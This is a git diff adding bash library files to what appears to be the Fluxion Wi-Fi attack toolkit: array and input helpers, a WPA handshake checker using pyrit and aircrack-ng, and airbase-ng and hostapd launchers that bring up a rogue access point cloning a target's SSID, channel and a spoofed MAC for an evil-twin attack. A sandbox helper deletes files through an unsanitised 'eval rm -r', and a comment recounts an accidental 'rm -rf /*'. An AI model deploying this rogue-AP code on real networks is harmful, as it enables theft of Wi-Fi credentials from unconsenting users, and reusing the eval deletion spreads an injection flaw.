diff --git a/lib/ArrayUtils.sh b/lib/ArrayUtils.sh new file mode 100755 index 0000000..97ab15f --- /dev/null +++ b/lib/ArrayUtils.sh @@ -0,0 +1,29 @@ +#!/bin/bash + +ArrayUtilsVersion="1.0" + +# Due to the fact we're passing arrays via indirection, +# we've got to mangle variable names used within array +# functions to prevent accidentally having a naming +# conflic with an array, for example, an array with the +# "choice" identifier in the input_choice function. +# Eventually, input_choice's "choice" variable will +# be indirectly expanded rather than the choice array. +function array_contains() { + local __array_contains__item + + # An efficient way to pass arrays around in bash + # is to perform indirect expansion by using the + # expansion symbol, $, along with the indirection + # symbol, !, in curly braces, ${! }, resulting in: + # function call: array_contains array[@] "text" + # funct params: $1 = "array[@]" $2 = "text" + # indirect exp: ${!1} => ${array[@]} (replaced!) + for __array_contains__item in "${!1}"; do + [[ "$__array_contains__item" == "$2" ]] && return 0; + done + + return 1 # Not found +} + +# FLUXSCRIPT END diff --git a/lib/HashUtils.sh b/lib/HashUtils.sh new file mode 100755 index 0000000..3dfda5f --- /dev/null +++ b/lib/HashUtils.sh @@ -0,0 +1,62 @@ +#!/bin/bash + +HashUtilsVersion="1.0" + +HashOutputDevice="/dev/stdout" + +function hash_check_handshake() { + local handshakeVerifier=$1 + local handshakePath=$2 + local handshakeAPSSID=$3 + local handshakeAPMAC=$4 + + local analysis + local hashData + + echo "Verifier $handshakeVerifier, path $handshakePath, SSID $handshakeAPSSID, MAC $handshakeAPMAC" > $HashOutputDevice + + case "$handshakeVerifier" in + "pyrit") + readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice) + if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then + echo "pyrit seems to be broken!" + return 1 + fi + + local hashMeta=$(echo "${analysis[@]}" | grep "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')") + + if [ "$hashMeta" ]; then + local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}') + hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_[[:alnum:]]+_AES/{ print \$0 }") + fi;; + "aircrack-ng") + readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice) + if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then + echo "aircrack-ng seems to be broken!" + return 1 + fi + + hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+$handshakeAPSSID");; + *) echo "Invalid verifier, quitting!"; return 1;; + esac + + if [ -z "$hashData" ]; then + echo "Handshake for $handshakeAPSSID ($handshakeAPMAC) is missing!" + return 1 + fi + + local hashResult + case "$handshakeVerifier" in + "pyrit") hashResult=$(echo "$hashData" | grep "good");; + "aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)");; + esac + + if [ -z "$hashResult" ]; then + echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" + HASHCheckHandshake="invalid" + return 1 + else + echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" + HASHCheckHandshake="valid" + fi +} diff --git a/lib/IOUtils.sh b/lib/IOUtils.sh new file mode 100755 index 0000000..8fefd82 --- /dev/null +++ b/lib/IOUtils.sh @@ -0,0 +1,148 @@ +#!/bin/bash + +IOUtilsVersion="1.0" + +IOUtilsHeader="[x] ================================ [x]" +IOUtilsQueryMark="[-] " +IOUtilsPrompt="[$USER@$HOSTNAME]> " + +if [ ! "$ArrayUtilsVersion" ]; then source lib/ArrayUtils.sh; fi + +function io_input_choice() { + local __io_input_choice__choice + until [ ! -z "$__io_input_choice__choice" ]; do + echo -ne "$IOUtilsPrompt" + + local __io_input_choice__input + read __io_input_choice__input + + local __io_input_choice__choices + for __io_input_choice__choices in ${@}; do + array_contains $__io_input_choice__choices "$__io_input_choice__input" + if [ $? -eq 0 ]; then + __io_input_choice__choice="$__io_input_choice__input" + break + fi + done + done + + IOInputChoice=$__io_input_choice__choice +} + +function io_input_enumerated_choice() { + local __io_input_enumerated_choice__choices=("${!1}") + local __io_input_enumerated_choice__indexes=($(seq ${#__io_input_numeric_choice__choices[@]})) + io_input_choice __io_input_enumerated_choice__indexes[@] + IOInputEnumeratedChoice=${__io_input_enumerated_choice__choices[$IOInputChoice]} +} + +# This function outputs formatted lines of fields. +# The function takes an output file (like stdout), +# a "printf format string," and a variable number +# of indirect-expansion passed arrays (reference). +# NOTICE: At least the first array must be passed! +# Example: /dev/stdout "%s is %s." name[@] mood[@] +function io_output_format_fields() { + # Determine the amount of arguments passed. + local __io_output_format_fields__argument_count=${#@} + + # Load locally by indirect expansion, ${! ... }, + # and mangle the variable number argument arrays. + local __io_output_format_fields__i + for ((__io_output_format_fields__i = 3; \ + __io_output_format_fields__i <= __io_output_format_fields__argument_count; \ + __io_output_format_fields__i++)); do + eval "local __io_output_format_fields__field$__io_output_format_fields__i=(\"\${!$__io_output_format_fields__i}\")" + done + + # Determine the amount of records/lines to print. + # Notice at least the first array must be passed. + local __io_output_format_fields__record_count=${#__io_output_format_fields__field3[@]} + + for ((__io_output_format_fields__i = 0; \ + __io_output_format_fields__i < __io_output_format_fields__record_count; \ + __io_output_format_fields__i++)); do + local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$( \ + seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count \ + )"[$__io_output_format_fields__i]}\"" + eval "printf \"$2\" $__io_output_format_fields__values > $1" + done +} + +function io_query_format_fields() { + # Assure we've got required parameters. + if [ ${#@} -lt 2 ]; then + return 1 + fi + + local __io_query_format_fields__argument_count=${#@} + + local __io_query_format_fields__query="$1" + local __io_query_format_fields__format="$2" + + # Load locally by indirect expansion, ${! ... }, + # and mangle the variable number argument arrays. + local __io_query_format_fields__i + for ((__io_query_format_fields__i = 3; \ + __io_query_format_fields__i <= __io_query_format_fields__argument_count; \ + __io_query_format_fields__i++)); do + eval "local __io_query_format_fields__f$__io_query_format_fields__i=(\"\${!$__io_query_format_fields__i}\")" + done + + local __io_query_format_fields__record_count=${#__io_query_format_fields__f3[@]} + local __io_query_format_fields__indexes=($(seq $__io_query_format_fields__record_count)) + + if [ ! -z "$1" ]; then + if [ "`type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s')`" = "function" ]; then $IOUtilsHeader; + else echo -e "$IOUtilsHeader"; fi + + echo -e "$__io_query_format_fields__query" + echo + fi + + io_output_format_fields /dev/stdout "$__io_query_format_fields__format" __io_query_format_fields__indexes[@] ${@:3} + + echo + + io_input_choice __io_query_format_fields__indexes[@] + + IOQueryFormatFields=() + for ((__io_query_format_fields__i = 3; \ + __io_query_format_fields__i <= __io_query_format_fields__argument_count; \ + __io_query_format_fields__i++)); do + eval "IOQueryFormatFields[${#IOQueryFormatFields[@]}]=\${__io_query_format_fields__f$__io_query_format_fields__i[IOInputChoice - 1]}" + done +} + +function io_query_choice() { + # Assure we've got required parameters. + if [ ${#@} -lt 2 ]; then + return 1 + fi + + __io_query_choice__query=$([ -z "$1" ] && echo -n "" || echo -ne "$FLUXIONVLine $1\n") + io_query_format_fields "$__io_query_choice__query" "\t$CRed[$CYel%d$CRed]$CClr %b\n" $2 + + IOQueryChoice="${IOQueryFormatFields[0]}" +} + +function io_query_file() { + if [ ${#@} -lt 2 ]; then + return 1 + fi + + local __io_query_file__options + + # List a line per line and redirect output. + # readarray __io_query_file__options < $2 + mapfile __io_query_file__options < $2 + + # Strip newline characters from array elements + __io_query_file__options=("${__io_query_file__options[@]/$'\n'}") + + io_query_choice "$1" __io_query_file__options[@] + + IOQueryFile=$IOQueryChoice +} + +# FLUXSCRIPT END diff --git a/lib/SandboxUtils.sh b/lib/SandboxUtils.sh new file mode 100755 index 0000000..08a6805 --- /dev/null +++ b/lib/SandboxUtils.sh @@ -0,0 +1,36 @@ +#!/bin/bash + +SandboxUtilsVersion="1.0" + +SandboxWorkspacePath="/tmp/sandbox" +SandboxOutputDevice="/dev/stdout" + +# After changing global identifiers in the main script, +# I forgot to update the identifiers here, leading to a +# horrific accident where the script ended and executed +# the command "rm -rf /*" ... yeah, fuck that... +# Spent an entire day retreiving all my shit back. +function sandbox_remove_workfile() { + # Check we've got the environment variables ready. + if [[ -z "$SandboxWorkspacePath" || -z "$SandboxOutputDevice" ]]; then + echo "The workspace path, or the output device is missing." > $SandboxOutputDevice + return 1 + fi + + # Check we're actually deleting a workfile. + if [[ "$1" != $SandboxWorkspacePath* ]]; then + echo "Stopped an attempt to delete non-workfiles." > $SandboxOutputDevice + return 2 + fi + + # Attempt to remove iff it exists. + #if [ ! -e "$1" -a "$1" != *"/"*"*" ]; then + # echo "Stopped an attempt to delete non-existent files" > $SandboxOutputDevice + # return 3; + #fi + + # Remove the target file (do NOT force it). + eval "rm -r $1 &> $SandboxOutputDevice" +} + +# FLUXSCRIPT END diff --git a/lib/ap/airbase-ng.sh b/lib/ap/airbase-ng.sh new file mode 100644 index 0000000..58d3af5 --- /dev/null +++ b/lib/ap/airbase-ng.sh @@ -0,0 +1,47 @@ +#!/bin/bash + +VIGW="at0" +VIAP=$WIAccessPoint + +#APServiceAuthenticationMethods=("hash" "wpa_supplicant") +#APServiceAuthenticationMethodsInfo=("(handshake, recommended)" "(connection, slow)") + +# airbase-ng uses a monitor-mode virtual interface +# and creates a separate interface, atX, for dhcpd. +VIAPAddress="$VIGWNetwork.2" + +VIAPRouteDelay=5 + +#APServiceConfPath="$DUMP_PATH/APService.conf" + +function ap_stop() { + killall airbase-ng &> $FLUXIONOutputDevice + + local FLUXIONAPService=$(ps a | grep -e "FLUXION AP Service" | awk '{print $1'}) + if [ "$FLUXIONAPService" ]; then + kill $FLUXIONAPService &> $FLUXIONOutputDevice + fi +} + +function ap_reset() { + ap_stop +} + +function ap_route() { + ifconfig $VIAP $VIAPAddress netmask 255.255.255.0 + sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice +} + +function ap_prep() { + ap_stop + + # Spoof virtual interface MAC address. + # This is done by airbase-ng automatically. +} + +function ap_start() { + xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP & + sleep $VIAPRouteDelay; ap_route +} + +# FLUXSCRIPT END diff --git a/lib/ap/hostapd.sh b/lib/ap/hostapd.sh new file mode 100644 index 0000000..151b371 --- /dev/null +++ b/lib/ap/hostapd.sh @@ -0,0 +1,71 @@ +#!/bin/bash + +VIGW=$WIAccessPoint +VIAP=$WIAccessPoint + +#APServiceAuthenticationMethods=("hash") +#APServiceAuthenticationMethodsInfo=("(handshake, recommended)") + +# HostAPD sets the virtual interface mode +# to master, which is supported by dhcpd. +VIAPAddress=$VIGWAddress + +VIAPRouteDelay=5 + +APServiceConfPath="$DUMP_PATH/APService.conf" + +function ap_stop() { + killall hostapd &> $FLUXIONOutputDevice + + local FLUXIONAPService=$(ps a | grep -e "FLUXION AP Service" | awk '{print $1'}) + if [ "$FLUXIONAPService" ]; then + kill $FLUXIONAPService &> $FLUXIONOutputDevice + fi +} + +function ap_reset() { + ap_stop + + # Reset MAC address to original. + ifconfig $VIAP down + sleep 0.4 + + macchanger -p $VIAP &> $FLUXIONOutputDevice + sleep 0.4 + + ifconfig $VIAP up + sleep 0.4 +} + +function ap_route() { + echo "No custom routes for hostapd" > $FLUXIONOutputDevice +} + +function ap_prep() { + ap_stop + + # Prepare the hostapd config file. + echo "\ +interface=$VIAP +driver=nl80211 +ssid=$APTargetSSID +channel=$APTargetChannel\ +" > $APServiceConfPath + + # Spoof virtual interface MAC address. + ifconfig $VIAP down + sleep 0.4 + + macchanger --mac=$APRogueMAC $VIAP &> $FLUXIONOutputDevice + sleep 0.4 + + ifconfig $VIAP up + sleep 0.4 +} + +function ap_start() { + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd $APServiceConfPath & + sleep $VIAPRouteDelay; ap_route +} + +# FLUXSCRIPT END